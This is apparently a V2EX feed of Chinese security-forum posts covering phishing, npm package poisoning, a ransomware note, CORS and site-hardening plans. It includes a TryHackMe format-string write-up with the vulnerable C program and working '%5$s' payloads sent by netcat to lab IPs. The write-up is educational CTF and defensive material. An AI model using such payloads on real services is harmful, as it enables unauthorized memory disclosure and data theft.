信息安全 way to explore https:https://cdn.v2ex.com/navatar/a4f2/3670/260_normal.png?m=1650095354 https:https://cdn.v2ex.com/navatar/a4f2/3670/260_large.png?m=1650095354 2025-10-09T09:43:06Z Copyright © 2010-2018, V2EX 逆向安全工程学习,这方面有人需求吗? tag:www.v2ex.com,2025-10-09:/t/1163960 2025-10-09T08:47:43Z 2025-10-09T09:43:06Z CCCCCCCCCCCCCCCC member/CCCCCCCCCCCCCCCC 首先,逆向安全工程大佬还是很多,我自己应该偏向于实战派,我逆向过(完整的有结果的)有不下 50 款相关游戏/App ,且跟真实市场交过手,拿到过结果。

逆向安全的收益
1 写代码知道计算机底层的走向,学习上层技术更加笃定。 #实用
2 面试/答辩晋级啥的几乎可以说出比较深入的理解,还可能反将面试官一军。#价值高
3 写代码关注网络安全,以及一些其他容易漏出的破绽 bug 。 #实用
4 后续能力达到,可以接一些副业或者自己创业。 #长期价值可积累,因为底层短期基本不会变

目标用户:几乎 90%的程序员(拍脑袋的数据)。

不知道上面的价值是否有需求,如果有需求我打算输出一些,前期可能是一些实战的一些资料,因为这是我平时产出,还是比较多的,后期的话,看需求看看往哪个方向发展。 ]]>
钉钉现在被盗号这么简单嘛 tag:www.v2ex.com,2025-09-26:/t/1161999 2025-09-26T06:19:06Z 2025-09-27T22:56:58Z asdhak member/asdhak 疑似 GitHub × Gitcoin 的骗局 tag:www.v2ex.com,2025-09-23:/t/1161205 2025-09-23T02:45:52Z 2025-09-23T09:02:22Z lait member/lait 今天收到来自 notificationpromo[bot]
notifications@github.com 的邮件:

📌 GitHub × Gitcoin Developer Fund 2025 Dear community, We are excited to introduce the upcoming phase of the GitHub Developer Fund, a joint program with Gitcoin designed to highlight and support those who strengthen open-source technologies and digital public goods. Your GitHub account qualifies for participation in this phase. We value every type of involvement — from occasional contributions to long-term commitment — as essential to shaping the future of open source. Program overview: Funding approach: Quadratic Funding, boosting community influence through a shared pool Total allocation: $15,000,000 USDC Eligibility: Active participation and potential future impact — open to everyday contributors and maintainers, not just project founders Next step: To secure your preliminary registration and confirm eligibility, please verify your wallet using Gitcoin Passport. This ensures fairness, protects against Sybil attacks, and never requests personal data. Verification takes under a minute: connect your wallet and sign a message. Please note: The authorization requires a refundable deposit, which will be fully returned after the process is completed. 📝 Continue with authentication and submission here: https://grants.github.com/apply Participation and funding eligibility are finalized only with a valid Gitcoin Passport score. Full guidelines are available on our portal. Best regards, GitHub Developer Fund Team In partnership with Gitcoin This message was sent to you as a registered GitHub user. ©2025 GitHub, Inc. All rights reserved. Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA. [Manage notifications] | [Privacy Policy] 

点邮件里 https://grants.github.com/apply 实际指向了 https://github-fund.com/

邮件是借助 GitHub 的 ieeues @xx 功能自动触发通知邮件产生,原始仓库地址: https://github.com/gitcoinoda/org/issues

大家注意防范!!!

]]> 出入站公网 IP 不一致 tag:www.v2ex.com,2025-09-20:/t/1160704 2025-09-20T07:15:38Z 2025-09-22T01:06:42Z droidmax61 member/droidmax61 火绒报告:搜狗输入法被曝云控模块暗中篡改浏览器配置 tag:www.v2ex.com,2025-09-20:/t/1160687 2025-09-20T05:15:28Z 2025-09-21T19:56:51Z laikicka member/laikicka 火绒安全威胁情报中心近日发现,一款专门锁定浏览器主页的病毒正在加速传播,其源头指向搜狗输入法。该病毒通过搜狗输入法的 Shiply 云控模块精准推送配置,结合用户画像进行灰度测试后大范围推广。推广模块会检测用户设备上的杀毒软件,随后强制修改 Edge 和 Chrome 浏览器的主页及默认搜索引擎设置,跳转至带有来源标识的推广链接。目前,火绒安全产品已可拦截并查杀相关模块。

此外,报告还指出搜狗输入法通过云控配置实现弹窗广告推送,部分情况下用户难以彻底关闭弹窗。火绒建议用户可尝试通过系统通知设置或输入法自带选项关闭弹窗,但由于云控精准投放,部分用户可能仍受影响。

火绒安全 ( https://mp.weixin.qq.com/s/4lfqX9HYQhl1un8dYbc1hg)

]]>
邮箱内发现自己写给自己的邮件 tag:www.v2ex.com,2025-09-14:/t/1159100 2025-09-14T08:23:15Z 2025-09-14T18:25:38Z ruizhixia member/ruizhixia 自己发件记录没有发过这种邮件
过了时限什么也没发生
我估计没被黑但好奇别人是怎么做到用我的地址发信的? ]]>
我这 Outlook 邮箱是不是被爆破了? tag:www.v2ex.com,2025-09-14:/t/1159050 2025-09-14T01:04:52Z 2025-09-14T14:00:35Z jacketma member/jacketma Microsoft 帐户团队发送邮件:

登录活动异常 已检测到最近登录到 Microsoft 帐户 ja**a@outlook.com 的一些异常。 登录详细信息 国家/地区: 埃及 IP 地址: 41.35.196.249 日期: 2025/9/13 22:51 (GMT) 平台: Android 浏览器: Android 请转到最近活动页,让我们确定这是否是你本人。如果不是,我们将帮助你保护帐户。如果是,我们将在以后信任类似活动。 

在异常活动记录里有一条记录:

会话类型 检测到异常活动 大概位置 埃及 时间(GMT) 昨天 22:51 设备/平台 Android 浏览器/应用 Android IP 地址 41.35.196.249 帐户别名 ja**a@outlook.com 会话活动 检测到异常活动 

我检查了昨天所有的访问路线,从来没有使用过埃及的 IP ,我这 Outlook 邮箱是不是被埃及人登录了?

]]>
有没有简单高效可靠的方法防止 web 服务半夜定时执行的耗时任务被恶意执行? tag:www.v2ex.com,2025-09-12:/t/1158678 2025-09-12T00:14:38Z 2025-09-12T07:57:43Z shendaowu member/shendaowu 我要求是不是太多了?如果属于不可能三角的话可以去掉高效。反正本来就是很耗时的任务,除非会大幅影响其他页面的延迟之类的。

耗时任务是一些数据库查询,还有数据库备份,可能还会有别的。每天每种只执行一次。

我目前计划用 cron 定时访问 web 服务的一个地址。后端语言是 Go 。Go 有个很多人用的第三方的 cron 库,但是五年没更了,看 issue 好像也不是没问题,不敢用。

我问 deepseek 它说验证源 IP 是不是 127.0.0.1 、::1 、localhost 就行了。另外需要注意一些特殊情况。比如代理、负载均衡器和容器。这个有漏洞吗?还要不要在耗时任务执行之前加个时段判断和今天是否已经执行过了?还有当前是否正在执行耗时任务。cron 好像在特殊情况下会重复执行?比如修改系统时间。

主要需求就是防止这个东西成为被攻击的点。

]]>
最近海外有一个爆料,就是 OAuth token 被利用导致大量用户数据泄露。但是在国内没有声音。 tag:www.v2ex.com,2025-09-10:/t/1158235 2025-09-10T03:24:18Z 2025-09-10T05:00:02Z moverinfo member/moverinfo https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift

Google Threat Intelligence Group (GTIG) is issuing an advisory to alert organizations about a widespread data theft campaign, carried out by the actor tracked as UNC6395. Beginning as early as Aug. 8, 2025 through at least Aug. 18, 2025, the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application.

]]>
大家千万别随便点击链接了, npm 上 18 个流行的软件包又被投毒了 tag:www.v2ex.com,2025-09-09:/t/1158008 2025-09-09T06:17:43Z 2025-09-09T08:07:08Z rmrf member/rmrf 原帖: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised

2025 年 9 月 8 日,Aikido 安全团队通过其情报系统发现,npm 上 18 个流行的软件包被推送了包含恶意代码的新版本。这些软件包每周下载量超过 20 亿次,包括 backslash 、chalk-template 、supports-hyperlinks 等。

被投毒的软件作者出来现身道歉了:"我犯了一个错误,像往常一样(因为当时我在用手机)没有直接访问网站,而是点击了链接。"

]]>
昨晚亲历 qix 开发者账号泄露导致 NPM 超大规模投毒事件 tag:www.v2ex.com,2025-09-09:/t/1157924 2025-09-09T01:35:44Z 2025-09-10T08:01:51Z deepbytes member/deepbytes NPM 仓库中多个周下载量超千万的热门组件被投毒,这些组件均为 qix 开发者发布,可能由于其凭证泄漏导致账号被窃取。

昨晚睡前就在 x 上看到各种信息了:

受影响投毒组件被植入恶意的混淆代码 index.js 文件,该恶意代码会劫持浏览器钱包(如 MetaMask )和网络请求( fetch 和 XMLHttpRequest ),拦截 ETH 、BTC 、SOL 、TRX 等加密货币交易,通过替换目标地址将资金转移至攻击者钱包(如 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 )

混淆后的恶意代码 index.js:

攻击非常有针对性,是针对 web3 相关用户的大规模攻击.这个 Javascript payload 不复杂,使用了 obfuscator.io 或者类似的工具。

这个开发者账号泄密的原因是因为被钓鱼邮件迷惑了,点击了邮件里面的链接,但未验证链接属于正确的官方发布的地址。


目前 VirusTotal 仍无法检测异常。


自检:

 brew install rg rg -uu --max-columns=80 --glob '*.js' _0x112fa8 

参考 hacker news: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised


提醒,以后这种邮件里面的 login ,如果有 pasaword 管理工具,可以自动对比域名,不对的域名不会显示自动填充的下拉框的! v 友还有啥 tips ,都可以提一下,这些依赖用的人太多了!

]]>
登录接口明文密码在浏览器端先加盐 SHA512 一次,服务端再用 bcrypt 等慢哈希算法二次加密存储是最佳实践吗?为什么多个大厂都发生过不小心在日志输出用户明文密码的事件,不加密或可逆加密传输用户密码仍是主流 tag:www.v2ex.com,2025-09-08:/t/1157900 2025-09-08T20:33:00Z 2025-09-10T02:11:51Z drymonfidelia member/drymonfidelia 如果是为了检测是否是泄露的或者是弱密码,那可以把常用密码数据库同样加盐 SHA512 一次再保存(不过这样就要求 SHA512 的盐全部用户相同)或者把 1000 个常见密码发到客户端,在客户端判断
还有一种方案是 Scrypt KDF 以前在 discord 上看到有人讨论过,有实际应用案例吗 ]]>
克罗地亚 Fina CA 未经 Cloudflare 授权签发了 12 张 1.1.1.1 的证书 tag:www.v2ex.com,2025-09-05:/t/1157329 2025-09-05T07:38:26Z 2025-09-05T15:45:40Z aloxaf member/aloxaf https://blog.cloudflare.com/unauthorized-issuance-of-certificates-for-1-1-1-1/

再次印证了世界是个巨大的草台班子,整个报告读下来过于难绷:

]]>
坐看一些预期可能发生的入侵事件 tag:www.v2ex.com,2025-09-04:/t/1157141 2025-09-04T10:00:07Z 2025-08-25T11:25:41Z carlist member/carlist 事件 1 - EO14117 导致一些美国企业在中国支持全球安全团队被砍,后面都懂得

事件 2 - 基于 LOT 设备的僵尸网络攻击会愈加频繁,可预见的国内电动自行车厂商设备被入侵远程操控

]]>
windows pc 遭遇勒索病毒怎么办 tag:www.v2ex.com,2025-09-04:/t/1157114 2025-09-04T08:44:11Z 2025-09-05T13:12:26Z jason42791593 member/jason42791593 几乎所有文件都被加密为 BA7SIUo0 后缀,留下的勒索信息为: #Warning: Your files have been encrypted.

If you want to get your files back and are willing to pay, please contact us at the email addresses shown below:

btcduess@outlook.com duesbtc@2mail.co

In the subject line, please write your personal ID.

ID: 20B42F2B8E6E282A996D5E54729FFE5B

If you do not message for the files within 24 hours, the price will be doubled and if there is no response, please send a message to the second email.

]]>
X 虽然是端到端消息,但是密码只有四个数字? tag:www.v2ex.com,2025-09-03:/t/1156851 2025-09-03T08:17:18Z 2025-09-03T21:17:18Z liuidetmks member/liuidetmks 这四个数字是什么意思??

本地密钥是由四个数字派生的吗?
感觉不太可能吧,是否是一个锁屏密码,为了防止别人看你手机?

]]>
火绒弹窗倒计时 60 秒,自动强制更新到 6.0 tag:www.v2ex.com,2025-08-29:/t/1155748 2025-08-29T03:56:49Z 2025-09-03T05:18:34Z superrichman member/superrichman 火绒越来越流氓了,之前还有弹窗选则推迟 7 天不更新的选择。今天重启了电脑,直接来个弹窗倒计时 60 秒,数完强制自动升级到 6.0 ,惊呆了。

]]>
你有没有遇到过不太懂“零信任”但喜欢大谈特谈“零信任”,甚至一群不懂零信任的人开会激烈讨论零信任的。 tag:www.v2ex.com,2025-08-27:/t/1155196 2025-08-27T02:18:53Z 2025-08-30T00:38:05Z desdouble member/desdouble 想成为能至少不漏报低水平黑客对网站的入侵的人的话,需要看什么书?至少需要多少时间? tag:www.v2ex.com,2025-08-26:/t/1154898 2025-08-26T00:05:04Z 2025-08-26T15:14:13Z shendaowu member/shendaowu 其实我是想不漏报任何入侵的,但是感觉这个目标可能过于难了。

起因是之前听说开源工具效果都不怎么好。然后今天在谷歌上搜“ossec Useless site:www.reddit.com”的时候看到一个观点,就是工具再多都是不够的,还是要看人。https://www.reddit.com/r/cybersecurity/comments/1ma8zwa/comment/n5cx1qr/ 。我基本上信了。然后我雇不起人,所以想自己成为那种人。

目前我找到一本书:《日志管理与分析权威指南》,够吗?入侵检测除了分析日志还有别的什么吗?网络流量分析我总感觉不靠谱。之前我还看过《 WEB 应用安全权威指南》、《编程精粹》、《 Linux 系统安全》。目前我每天大概能拿出五六个小时的时间。大概可以給人肉入侵检测技术半个月的学习时间。之后的日常维护大概可以每天抽出 20 分钟的时间人肉和半人肉分析日志之类的。要是半个月学不到什么的话我就有点想直接放弃入侵检测了。也想直接放弃安装入侵检测软件了,反正效果也不好。

这个技能对练习的要求多不多?有没有什么免费的练习的环境?类似入侵的靶场之类的。入侵检测有没有类似的东西?

我总感觉入侵检测很重要。如果半个月学不到什么东西希望能得到一些吃不到葡萄说葡萄酸的能让我认为这东西不重要和能让我安心的借口。

我想做的网站是个类似豆瓣的网站,但是展示和推荐的主要是方法。我怀疑很多方法的效果都是因人而异的,我想做这个网站验证一下。另外这个网站也可以推荐一般的东西,就是可能会比较麻烦。

]]>
[THM 真题] 格式化字符串漏洞深度解析:从原理到实战利用 tag:www.v2ex.com,2025-08-23:/t/1154519 2025-08-23T23:38:07Z 2025-08-24T04:36:43Z xuemian member/xuemian Flag: THM{format_issues}

概述

格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用 printf 族函数时开发者未正确处理用户输入的情况下。本文通过 TryHackMe 平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。

格式化字符串漏洞原理

漏洞成因

格式化字符串漏洞的根本原因在于 printf 族函数的设计机制:

参数数量不匹配:printf 函数无法在编译时验证格式化字符串与参数数量是否匹配。

栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。

类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。

printf 函数的内部机制

当调用printf(format, arg1, arg2, ...)时,首先格式化字符串format被逐字符解析。遇到%时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。

漏洞代码分析

让我们深入分析这个 vulnerable 程序:

#include <stdio.h> #include <string.h> void print_banner(){ printf( " ______ _ __ __ _ _ \n" " | ____| | \\ \\ / / | | | \n" " | |__ | | __ _ __ \\ \\ / /_ _ _ _| | |_ \n" " | __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n" " | | | | (_| | (_| |\\ / (_| | |_| | | |_ \n" " |_| |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n" " __/ | \n" " |___/ \n" " \n" "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n" "==================================================================\n\n" ); } void print_flag(char *username){ FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f); //printf("%s", flag); //The user needs to be mocked for thinking they could retrieve the flag printf("Hello, "); printf(username); // 🚨 漏洞点:直接将用户输入作为格式化字符串 printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n"); printf("Yours truly,\nByteReaper\n\n"); } void login(){ char username[100] = ""; printf("Username: "); gets(username); // 🚨 缓冲区溢出风险:不检查输入长度 // The flag isn't printed anymore. No need for authentication print_flag(username); } void main(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // Start login process print_banner(); login(); return; } 

关键漏洞点分析

1. 格式化字符串漏洞 (第 37 行)

printf(username); // 危险!应该使用 printf("%s", username); 

问题分析

username变量直接作为格式化字符串传递给printf。攻击者可以在输入中包含格式说明符(如%x, %s, %p等)。这些格式说明符会导致printf从栈中读取额外的数据。

2. 缓冲区溢出风险 (第 46 行)

gets(username); // 危险函数,已被废弃 

问题分析

gets()函数不检查输入长度,可能导致缓冲区溢出。username数组只有 100 字节,超长输入会覆盖栈上的其他数据。

3. Flag 数据泄露机会 (第 30-32 行)

FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f); 

关键点

Flag 被读入局部变量flag[200]。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。

内存布局与攻击机制

栈内存布局分析

print_flag函数被调用时,栈的布局大致如下:

栈顶 (低地址) ├─ FILE *f (fopen 返回值) ├─ char flag[200] (存储读取的 flag 内容) ├─ ...其他局部变量... ├─ 返回地址 ├─ 保存的 EBP ├─ char *username (传入的参数) └─ main 函数的栈帧 栈底 (高地址) 

格式化字符串的栈遍历机制

当执行printf(username)时,正常情况下如果username是纯文本,会直接输出。攻击情况下如果username包含格式说明符,printf 会尝试从栈中获取对应参数。

参数位置计算

在 x86/x64 架构中,第 1 个参数是格式化字符串本身 (username),第 2 个参数是栈上的下一个值,第 3 个参数是再下一个值,依此类推,第 N 个参数是栈上对应位置的值。

由于flag[200]数组在栈上,通过合适的偏移量可以访问到 flag 内容。

攻击向量分析

Payload 分析

成功的攻击 payload:

echo -ne '%5$s' | nc 10.10.20.224 1337 

详细解析

%5$s直接访问第 5 个参数位置。$语法允许直接指定参数位置,无需遍历前面的参数。s格式符将该位置的值作为字符串指针,打印指向的内容。

为什么是第 5 个参数?

通过试验不同的偏移量:

# 探测栈内容的命令示例 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337 

经过测试发现,第 1-4 个参数是其他栈上的数据,第 5 个参数恰好指向 flag 字符串的地址,第 6 个及以后是其他内存内容。

内存对齐的影响

在实际环境中,flag 在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构( 32 位/64 位)以及其他局部变量的分配而变化。

因此可能需要尝试不同的偏移量(%4$s, %5$s, %6$s等)来定位 flag 。

实战攻击演示

成功攻击的完整过程

$ echo -ne '%5$s' | nc 10.10.20.224 1337 ______ _ __ __ _ _ | ____| | \ \ / / | | | | |__ | | __ _ __ \ \ / /_ _ _ _| | |_ | __| | |/ _` |/ _` \ \/ / _` | | | | | __| | | | | (_| | (_| |\ / (_| | |_| | | |_ |_| |_|\__,_|\__, | \/ \__,_|\__,_|_|\__| __/ | |___/ Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it! ================================================================== Username: Hello, THM{format_issues} . Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD... Yours truly, ByteReaper 

攻击成功原理分析

输入 payload%5$s

printf 处理过程:程序执行到printf(username)username内容为%5$s,printf 解析格式说明符%5$s,访问栈上第 5 个位置的值作为字符串指针,第 5 个位置恰好指向 flag 字符串的内存地址。

输出结果:成功显示 flag 内容THM{format_issues}

其他探测 payload

用于探测栈结构的命令:

# 显示多个栈位置的十六进制值 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337 

这个 payload 会显示前 8 个栈位置的十六进制值,最后用%s尝试将第 9 个位置作为字符串打印。

漏洞利用的关键要素

格式化字符串漏洞printf(username)直接使用用户输入作为格式字符串。

内存中的敏感数据:flag 被读入栈上的局部变量。

可预测的内存布局:在相同环境下栈布局相对固定。

直接位置访问%N$s语法允许直接访问特定栈位置。

防护机制与安全建议

代码层面的防护措施

1. 安全的 printf 使用方式

// 危险的写法 printf(user_input); // 安全的写法 printf("%s", user_input); 

2. 输入验证和长度检查

// 替换危险的 gets()函数 char username[100]; if (fgets(username, sizeof(username), stdin) != NULL) { // 移除可能的换行符 username[strcspn(username, "\n")] = '\0'; } 

3. 避免在栈上存储敏感数据

// 不安全:敏感数据在栈上 void print_flag(char *username) { char flag[200]; // 在栈上,可能被泄露 // ... } // 更安全:使用动态分配或其他保护机制 void print_flag(char *username) { char *flag = malloc(200); // 使用后立即清零并释放 memset(flag, 0, 200); free(flag); } 

编译器层面的防护

1. 编译器警告

# 启用格式化字符串相关警告 gcc -Wformat -Wformat-security -Wall source.c 

2. FORTIFY_SOURCE

# 启用运行时检查 gcc -D_FORTIFY_SOURCE=2 -O2 source.c 

系统层面的防护

1. 地址空间布局随机化 (ASLR)

随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。

2. 栈保护 (Stack Canary)

# 启用栈保护 gcc -fstack-protector-all source.c 

3. 不可执行栈 (NX bit)

防止在栈上执行代码,减少代码注入攻击的风险。

现代防护技术

1. 控制流完整性 (CFI)

检测并阻止控制流劫持攻击。

2. 地址空间隔离

使用容器化或沙箱技术隔离应用。

3. 静态分析工具

使用工具如 Clang Static Analyzer 、Coverity 等,在开发阶段发现潜在漏洞。

安全开发建议

1. 安全编程原则

最小权限原则:程序只获取必要的权限。

输入验证:严格验证所有外部输入。

防御性编程:假设所有输入都是恶意的。

2. 代码审查

重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。

3. 安全测试

模糊测试:使用工具如 AFL 、libFuzzer 。

静态分析:集成到 CI/CD 管道。

动态分析:使用 Valgrind 、AddressSanitizer 等。

原文:(微信公众平台)[https://mp.weixin.qq.com/s/12kNxP_-PI7Gr_c4Pnb_4A]

]]>
CROS 同源问题的一些疑问 tag:www.v2ex.com,2025-08-21:/t/1153943 2025-08-21T05:24:06Z 2025-08-27T07:04:31Z chinafengzhao member/chinafengzhao 最近在学习 CORS 同源策略问题,看到几个观点:

1 、跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是响应结果被浏览器拦截了。 不仅仅是静态的资源。WebStorage 、Cookie 、IndexDB ,在浏览器层面上都是以域这一概念来划分管理的。 而且这个划分管理行为,就是在浏览器本地生效。和服务器、其他客户端没有直接关系。

2 、当响应的是附带身份凭证的请求时,服务端必须明确 Access-Control-Allow-Origin 的值,而不能使用通配符。

针对 1 ,比如说我做为可能有恶意脚本的黑客,不管你请求头带不带 origin ,我返回的 js 响应报文中,我始终带上 "Access-Control-Allow-Origin: *"这个响应头啊。 这样我的恶意 js 不就可以被浏览器解释并执行了?

针对 2 ,这个服务端必须是为什么要必须明确呢?如果不明确会怎么样呢? CORS 做为一个浏览器对资源请求的约束,它咋知道我的请求带不带身份呢?

请教各位大佬赐教一下

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CORS

https://zhuanlan.zhihu.com/p/38972475

]]>
PVE 防火墙开启 IP Filter + MAC Filter 能有效防御 ARP 攻击吗?在 PVE 论坛找到的帖子说可以,但是 GPT 告诉我不可以,因为 ARP 攻击发生在第 2 层而软件防火墙工作在第三层 tag:www.v2ex.com,2025-08-20:/t/1153832 2025-08-20T21:57:37Z 2025-08-21T06:15:37Z drymonfidelia member/drymonfidelia Let's Encrypt 颁发的证书所包含的 CRL 链接完全被墙,可能导致所有用 LE 证书的网站在国内无法打开或者弹出警告。 tag:www.v2ex.com,2025-08-20:/t/1153589 2025-08-20T01:07:31Z 2025-08-24T18:29:27Z villivateur member/villivateur 今天用 curl 访问我的网站,发现报错:

$ curl -vv https://www.example.com/generate_204 08:43:01.876922 [0-0] * Host www.vvzero.com:443 was resolved. 08:43:01.880422 [0-0] * IPv6: 2408:1:1013:e900::1 08:43:01.883004 [0-0] * IPv4: 1.116.4.74 08:43:01.885021 [0-0] * [HTTPS-CONNECT] added 08:43:01.887128 [0-0] * [HTTPS-CONNECT] connect, init 08:43:01.889315 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.891506 [0-0] * Trying [2408:1:1013:e900::1]:443... 08:43:01.894156 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.896145 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.898445 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.901163 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.903526 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.907055 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.910135 [0-0] * schannel: disabled automatic use of client certificate 08:43:01.917094 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.919009 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.924728 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.933717 [0-0] * schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline. 08:43:01.939440 [0-0] * [HTTPS-CONNECT] connect, all failed 08:43:01.941833 [0-0] * [HTTPS-CONNECT] connect -> 35, dOne=0 08:43:01.944171 [0-0] * closing connection #0 08:43:01.947391 [0-0] * [HTTPS-CONNECT] close 08:43:01.949490 [0-0] * [SETUP] close 08:43:01.952020 [0-0] * [SETUP] destroy 08:43:01.954525 [0-0] * [HTTPS-CONNECT] destroy curl: (35) schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline. 

然后尝试访问证书里提供的 CRL 链接:

$ curl -v http://e5.c.lencr.org/80.crl * Host e5.c.lencr.org:80 was resolved. * IPv6: 2606:4700::6812:15d5, 2606:4700::6812:14d5 * IPv4: 104.18.20.213, 104.18.21.213 * Trying [2606:4700::6812:15d5]:80... * Connected to e5.c.lencr.org (2606:4700::6812:15d5) port 80 * using HTTP/1.x > GET /80.crl HTTP/1.1 > Host: e5.c.lencr.org > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off * Recv failure: Connection was reset * closing connection #0 curl: (56) Recv failure: Connection was reset 

itdog 查询显示这个域名已经完全被墙,方法是 TCP RST 。

部分浏览器可能不会检查 CRL ,那就没问题。但可能更多的正规浏览器或者 APP 会检查,就会导致无法访问或者弹出警告。

小站站长可能会痛苦了,很多人可能没法上你的网站了。

]]>
我的网站开发安全计划,求大佬过目 tag:www.v2ex.com,2025-08-20:/t/1153581 2025-08-20T00:13:55Z 2025-08-21T13:05:24Z shendaowu member/shendaowu 希望获得的帮助

开发技术栈等

我看过的安全相关的书

在开发网站的过程中定期复习这三本书的笔记。书里的一些我感觉没什么大用,并且很麻烦的方法我没用,比如 chroot 。

安全工具和服务

静态代码分析工具:gosec 、vet 、golangci-lint 、snyk 。TS 的 lint 工具。

CF DDoS 防护、CF Tunnel 。

安全措施

应用开发注意事项。注入、XSS 、CSRF 之类的。太多了,懒得写了。嘴替:OWASP Top Ten 和 CWE top 25 。

写单元测试。

为各种服务提供最小的权限。

七天检查一次服务器和软件包更新。包括用 snyk 扫描一次代码,就算代码没更新,这个好像能发现用到的库的新发现的漏洞?

用 iptables 只开放必要的端口。基本只会开放 https 的端口的建立连接。数据包发出只允许系统和软件更新还有就是相关的入侵防御的规则的自动更新等。

网关 IP 地址绑定 MAC ,防止 ARP 攻击。使用 CF Tunnel 这步是不是多余了?

命令历史相关的环境变量设置为只读。命令历史附带执行时间。

删除无用的软件包和服务。

不使用隐藏的方式企图实现安全。比如改端口。

每月完整备份数据库。每天增量备份数据库。数据库中的密码 hash 和邮箱使用混合加密加密后备份到 OSS ,私钥保存在我电脑中的 KeePass 里。KeePass 数据库文件保存在 OneDrive 同步文件夹里。OneDrive 同步文件夹每月多处备份。不给 OSS API 分配修改和删除权限。对数据库的密码 hash 和邮箱添加数据库加密,就是数据库的数据文件泄露也无法读取的那种加密。我计划网站的上的所有数据都可以像维基那样打包下载。用户不想公开的数据保存在用户的浏览器或本地文件夹里。

入侵报警使用阿里云的云监控。

阿里云网页控制台使用自己生成的带密码的密钥对登录。私钥密码保存在 Keepass 里。

关键日志备份到阿里云的日志服务上。并设置好 API 的权限。主要是为了省钱,像书里那样用一个专门的服务器收集日志我感觉太贵了。

auditd 配置为锁定配置直到重启。

FireEye 辅助入侵检测和防御。我没在官网上找到怎么用。是个提供威胁情报数据的网站。

注意开发电脑的安全性。不安装来历不明的软件。来历不明的软件装到虚拟机里。不关闭杀软。操作系统有更新尽量马上更新。

数据库密码为 KeePass 生成的 20 位随机大小写字母与数字密码。特殊符号我嫌麻烦。

所有密码和密钥每季度换一次。

阿里云账号双因素认证。

发现被入侵后的操作

使用 chkrootkit 和 rkhunter 扫描 rootkit 。

unhide 反隐。

如果没有证据证明黑客没有修改文件,就重装系统并回档。我想不到什么证明文件没被动的证据,所以大概率应该都会重装和回档。

查看服务器是否有重启记录。防止 auditd 的配置被修改。

参考《 Linux 系统安全》中的附录 B 。附录 B 是关于被入侵后的排查。

奇技淫巧

除了特定用户,任何用户登录之前必须登录特定的用户,否则就立刻断网。

还有把某个黑客大概率会用到,但是系统正常运行不会用到的命令换成触发报警的脚本。不知道有没有这种命令?比如 ls ,黑客执行 ls 就断网。我想要 ls 的功能就用 myls 。

这两个是我想到的,如果没人说能用我就不用了。我感觉挺危险的。轻则误报,重则没法登录。

我为什么这么在乎安全问题?

首先我自认为我对安全的重视程度应该是超过平均水平了。

如果网站一直没什么流量的话,我也会一直维护这个网站。维护时间十年起步。长期运营的项目如果不在乎安全问题感觉迟早会出问题。另外我的网站虽然也能提供情绪价值,或者说用来娱乐,但是我希望主要是用它改善用户的生活。那些能用来改善用户生活的数据如果被篡改了很不好。虽然如果真被篡改了大部分可能会被发现,但是肯定会有漏掉的。

]]>
发现谷歌地图有 xss,请问该去哪提交给厂商? tag:www.v2ex.com,2025-08-19:/t/1153554 2025-08-19T15:07:02Z 2025-08-19T22:07:08Z wxf1259059284 member/wxf1259059284 算是偶然发现的吧,谷歌的地图有个 url 的跳转功能,在 url 后面追加?q=url 后可以重定向。

首先介绍一下什么是 xss 漏洞:

XSS 漏洞( Cross-Site Scripting ,跨站脚本攻击)是一类常见的 Web 安全漏洞。它的核心问题是:应用程序没有对用户输入的数据进行严格过滤或转义,就把这些数据输出到网页中,从而导致恶意脚本被执行。

攻击者通常通过在网页中插入恶意的 Javascript 代码来实现攻击,这些代码会在访问页面的用户浏览器中运行。

下面开始漏洞复现:

